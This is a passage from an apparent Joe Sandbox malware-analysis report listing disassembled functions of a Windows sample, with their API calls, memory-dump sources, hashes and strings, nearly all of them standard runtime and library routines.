                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: List$Array$Interlocked$Flush$Concurrency::details::Concurrency::details::_DeleteHashScheduling$AcquireBase::CleanupConcCriticalEntryEventH_prolog3HelperInternalLock::_NodeNode::~ReentrantSchedulerSectionTracingUnregister
                                  • String ID:
                                  • API String ID: 2613779565-0
                                  • Opcode ID: d613e151b6a006a0b0c7355508e4d0c64a34ea9aac8bc57f71de0ba347520d4d
                                  • Instruction ID: 186eab2a9c1ee45f5a3b5db13dfe3af74dbb0f0c8126cbdc450af0945b15e687
                                  • Opcode Fuzzy Hash: d613e151b6a006a0b0c7355508e4d0c64a34ea9aac8bc57f71de0ba347520d4d
                                  • Instruction Fuzzy Hash: 0E113331204A12AFC709EB25EE52BDDF764FF15711F40412AED16535A2EF307A1DCA90
                                  Function 00A8D345 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00A8D35D
                                    • Part of subcall function 00A84D66: HeapFree.KERNEL32(00000000,00000000,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?), ref: 00A84D7C
                                    • Part of subcall function 00A84D66: GetLastError.KERNEL32(?,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?,?), ref: 00A84D8E
                                  • _free.LIBCMT ref: 00A8D36F
                                  • _free.LIBCMT ref: 00A8D381
                                  • _free.LIBCMT ref: 00A8D393
                                  • _free.LIBCMT ref: 00A8D3A5
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast
                                  • String ID:
                                  • API String ID: 776569668-0
                                  • Opcode ID: 39cfadb8600c8f50b8eddf6cae3a1bd5ff94ba034bcd540e712a8ef50d2d587e
                                  • Instruction ID: af00b67595204e69919bb6cef2b4ca37b5fb245ef722deeed6026d02db8a074c
                                  • Opcode Fuzzy Hash: 39cfadb8600c8f50b8eddf6cae3a1bd5ff94ba034bcd540e712a8ef50d2d587e
                                  • Instruction Fuzzy Hash: 9EF012725056006B9A30FBA8F585C1A73E9FB45B107594816F057DF640C730FD8147A1
                                  Function 00A39359 Relevance: 7.5, APIs: 5, Instructions: 39timeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A5249C
                                  • Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 00A524BC
                                    • Part of subcall function 00A51D2D: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00A51D4F
                                    • Part of subcall function 00A51D2D: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00A51D70
                                  • Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00A524CF
                                  • Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00A524DB
                                  • Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00A524E4
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefH_prolog3LibraryLoadRegisterSchedulerSwitch_to_active
                                  • String ID:
                                  • API String ID: 1236927926-0
                                  • Opcode ID: 53ed207e2c2571c22bfc8b53dd05cf46f719233dff5edeec7c3af34d805d38c1
                                  • Instruction ID: 3b7e87f591d1fd4dbf537ae6f0052662d71e8a086612036614fff14e813e7357
                                  • Opcode Fuzzy Hash: 53ed207e2c2571c22bfc8b53dd05cf46f719233dff5edeec7c3af34d805d38c1
                                  • Instruction Fuzzy Hash: 82F02470600304A7DF147BB80946BBE32AA7B93361F188169FD226B2C1EE748D0C93A0
                                  Function 00A80292 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00A802B0
                                    • Part of subcall function 00A84D66: HeapFree.KERNEL32(00000000,00000000,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?), ref: 00A84D7C
                                    • Part of subcall function 00A84D66: GetLastError.KERNEL32(?,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?,?), ref: 00A84D8E
                                  • _free.LIBCMT ref: 00A802C2
                                  • _free.LIBCMT ref: 00A802D5
                                  • _free.LIBCMT ref: 00A802E6
                                  • _free.LIBCMT ref: 00A802F7
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast
                                  • String ID:
                                  • API String ID: 776569668-0
                                  • Opcode ID: 4a86b79533a529ad62e756006b873a56adee08154c8e0272bb42772a06383cf2
                                  • Instruction ID: a213b838abf529c4c6bc2cd96f3ef8cadbdb0fd6b267cb9186edea15d43e23a9
                                  • Opcode Fuzzy Hash: 4a86b79533a529ad62e756006b873a56adee08154c8e0272bb42772a06383cf2
                                  • Instruction Fuzzy Hash: 91F017748013629FDB21FF95EDA18863B60B70A760314091AF4675E3B1D7610A028BC8
                                  Function 00A20CD0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 171COMMON
                                  Download Yara Rule
                                  APIs
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A20D8E
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A20DF9
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ___std_type_info_name
                                  • String ID: ThisPointer:$ValueNames
                                  • API String ID: 1734802720-2375088429
                                  • Opcode ID: de76432763db7c0819fb7e75997f1dbc95b39028443d0811c1a7ed985e7232a0
                                  • Instruction ID: d53b5ef5da36bcf7f749d9001d4d42990c0332f2a939c45dc22e381000ead2cd
                                  • Opcode Fuzzy Hash: de76432763db7c0819fb7e75997f1dbc95b39028443d0811c1a7ed985e7232a0
                                  • Instruction Fuzzy Hash: EF51D571304380AFC7209F68AC81E67BBE6BF99744B048D6CF5D987243D762E948C761
                                  Function 00A20AE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170COMMON
                                  Download Yara Rule
                                  APIs
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A20B9E
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A20C09
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ___std_type_info_name
                                  • String ID: ThisPointer:$ValueNames
                                  • API String ID: 1734802720-2375088429
                                  • Opcode ID: 436f7000e661ccb087cff4bf0b1aa098a483c423bdef932ad3f3f1cbcb203261
                                  • Instruction ID: eebfa544afc940dd983bc2852714f1fe328a10d0948cfbd8cb04d88abfbae128
                                  • Opcode Fuzzy Hash: 436f7000e661ccb087cff4bf0b1aa098a483c423bdef932ad3f3f1cbcb203261
                                  • Instruction Fuzzy Hash: 5C51F671204384AFC7209F28AC81E67BBE5BF99748F04896CF5C587243D762E908C761
                                  Function 00A4B32E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3_GS.LIBCMT ref: 00A4B335
                                    • Part of subcall function 009F8DC0: std::_Lockit::_Lockit.LIBCPMT ref: 009F8E09
                                    • Part of subcall function 009F8DC0: std::_Lockit::_Lockit.LIBCPMT ref: 009F8E2B
                                    • Part of subcall function 009F8DC0: std::_Lockit::~_Lockit.LIBCPMT ref: 009F8E4B
                                    • Part of subcall function 009F8DC0: std::_Lockit::~_Lockit.LIBCPMT ref: 009F8F18
                                  • _Find_unchecked1.LIBCPMT ref: 00A4B3DF
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_unchecked1H_prolog3_
                                  • String ID: 0123456789-$0123456789-
                                  • API String ID: 156722996-2494171821
                                  • Opcode ID: f1f80bf1e93afe2e8fadf7581abc6b0d1f3aed1c80b593b32d12185d8ddb5469
                                  • Instruction ID: fcda4a9bbc247c8ce998f8fbf70ff80f37ded7ea80e52dcaec544b51fb6d9882
                                  • Opcode Fuzzy Hash: f1f80bf1e93afe2e8fadf7581abc6b0d1f3aed1c80b593b32d12185d8ddb5469
                                  • Instruction Fuzzy Hash: AA416935900109EFCF05DFA9C980BEEBBB5BF55305F100099E911AB292DB75EA16CBA1
                                  Function 00A07540 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0762D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: byte digest to $ bytes$HashTransformation: can't truncate a
                                  • API String ID: 2005118841-1139078987
                                  • Opcode ID: 2c3a468bd50230d429feca8cf5048c3ad0b1e48e52a243ab5335c19d3ba2b921
                                  • Instruction ID: f62e056cdcc439b7bceebcb674db7b8a1ab62720fefe7c97c49703b437eba2dd
                                  • Opcode Fuzzy Hash: 2c3a468bd50230d429feca8cf5048c3ad0b1e48e52a243ab5335c19d3ba2b921
                                  • Instruction Fuzzy Hash: A2318171A04218EFDB11DBA4D849FDEBBBCFF49310F0446A6F505E7281DB74AA048BA0
                                  Function 00A0D680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0D72F
                                  Strings
                                  • TruncatedDigestSize, xrefs: 00A0D779
                                  • PutMessage, xrefs: 00A0D756
                                  • FilterWithBufferedInput: invalid buffer size, xrefs: 00A0D706
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: FilterWithBufferedInput: invalid buffer size$PutMessage$TruncatedDigestSize
                                  • API String ID: 2005118841-3547780871
                                  • Opcode ID: 47d9fd2a484f6754bb98213a2a48838694743bb4d15c4293636987676c629dd1
                                  • Instruction ID: c76e8db868c3dd0ac33bc556acd716de84e4f1ca13426776857014789ad1d1e5
                                  • Opcode Fuzzy Hash: 47d9fd2a484f6754bb98213a2a48838694743bb4d15c4293636987676c629dd1
                                  • Instruction Fuzzy Hash: A931B272600609EFC714CFA8C895EAAB7F8FF49720F004A6AF455976D0DB70E919CB90
                                  Function 00A943C9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3_catch.LIBCMT ref: 00A943D0
                                  • make_shared.LIBCPMT ref: 00A9441B
                                    • Part of subcall function 00A940B0: __EH_prolog3.LIBCMT ref: 00A940B7
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: H_prolog3H_prolog3_catchmake_shared
                                  • String ID: MOC$RCC
                                  • API String ID: 1798871530-2084237596
                                  • Opcode ID: 06975f793423c2f428349020e08953871562707b7c11214b65f93482bb99a92e
                                  • Instruction ID: 72c9ca344dc1b0014f0e623c44103596300db6776e6df134d8770caa90c0650f
                                  • Opcode Fuzzy Hash: 06975f793423c2f428349020e08953871562707b7c11214b65f93482bb99a92e
                                  • Instruction Fuzzy Hash: BEF04F30614154DFCF11AF68C542A6C3BF0AF9AB04F458091F8024B225CB3C5E868F62
                                  Function 00A56133 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON
                                  Download Yara Rule
                                  APIs
                                  • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A56163
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A56171
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throwstd::invalid_argument::invalid_argument
                                  • String ID: pScheduler$version
                                  • API String ID: 1687795959-3154422776
                                  • Opcode ID: 19d80f7cf5180648df4783c6426057cc02073c4422c56a8f724441ba8eeac76b
                                  • Instruction ID: 974e2bf11c7a93f4cbe866fe78d86424391e4b2cc46a34295fdd4b5117227c68
                                  • Opcode Fuzzy Hash: 19d80f7cf5180648df4783c6426057cc02073c4422c56a8f724441ba8eeac76b
                                  • Instruction Fuzzy Hash: 58E08630A40608BACF11FBA4C95AFEE77687B1174AF408951BE11131D297B4968CCA51
                                  Function 00A6A2FA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(?,Dflt,00A69233,?,00AD99F0,?,?,?,?,?,?,?), ref: 00A6A308
                                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A6A316
                                  • SetLastError.KERNEL32(00000000,?,?,?,?,?), ref: 00A6A31F
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$Value___vcrt_
                                  • String ID: Dflt
                                  • API String ID: 483936075-3880269418
                                  • Opcode ID: cb5382f0ef566c316c57d42170049b93b77e383218bbce30f6561f05c50f4fd8
                                  • Instruction ID: 517eab57ff813f0a9a5c341a38dd3a353719511b14ad7cd9f278b7c4f1197055
                                  • Opcode Fuzzy Hash: cb5382f0ef566c316c57d42170049b93b77e383218bbce30f6561f05c50f4fd8
                                  • Instruction Fuzzy Hash: 4ED012376552129B8E10DBB4FC0D8E677A6E6D23723148736F122C21D4D77894479650
                                  Function 009C5240 Relevance: 6.3, APIs: 5, Instructions: 85memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetProcessHeap.KERNEL32(00000000,?,?,215D2A08,00000000), ref: 009C52A8
                                  • HeapFree.KERNEL32(00000000,?,215D2A08,00000000), ref: 009C52AF
                                  • CloseHandle.KERNEL32(?,215D2A08,75916230,?,215D2A08,00000000,00000000,00000000), ref: 009C52D9
                                  • CloseHandle.KERNEL32(?,?,215D2A08,00000000,00000000,00000000), ref: 009C52DE
                                  • CloseHandle.KERNEL32(?,?,215D2A08,00000000,00000000,00000000), ref: 009C52E3
                                    • Part of subcall function 00A4F480: GetProcessHeap.KERNEL32(00000000,?,?,215D2A08,00A9E060,000000FF,?,009C528A,215D2A08,75916230), ref: 00A4F4CB
                                    • Part of subcall function 00A4F480: HeapFree.KERNEL32(00000000,?,?,215D2A08,00A9E060,000000FF,?,009C528A,215D2A08,75916230), ref: 00A4F4D2
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Heap$CloseHandle$FreeProcess
                                  • String ID:
                                  • API String ID: 3876841697-0
                                  • Opcode ID: cd0e98470065bc7c98ec1a5994bc4547b52684960cfca8439b1f52dac580c79d
                                  • Instruction ID: 0f4e63b813ae515a2f9389013483ee56a92aab82c7293b5b76a6f5a09be48e15
                                  • Opcode Fuzzy Hash: cd0e98470065bc7c98ec1a5994bc4547b52684960cfca8439b1f52dac580c79d
                                  • Instruction Fuzzy Hash: 8A31A532E00615EFDF10DF98DC81F5ABBA8FF0A721F150269E924AB291D771AC04CB91
                                  Function 00A3C6B5 Relevance: 6.3, APIs: 4, Instructions: 289COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _strcspn$H_prolog3_ctype
                                  • String ID:
                                  • API String ID: 838279627-0
                                  • Opcode ID: d19aff74561014cdb8534238095a77fe9aada6aa30351e4cf53199ad255d4086
                                  • Instruction ID: 0868a44898d7fe565e7fa6c1cb432e4b22956ef8ba59cad6667336ecc8f0f58a
                                  • Opcode Fuzzy Hash: d19aff74561014cdb8534238095a77fe9aada6aa30351e4cf53199ad255d4086
                                  • Instruction Fuzzy Hash: D4B14375D002499FCF14DFA8C985AEEBBB9EF48320F14401AF845BB251D734AE46CBA0
                                  Function 00A3C9CC Relevance: 6.3, APIs: 4, Instructions: 289COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
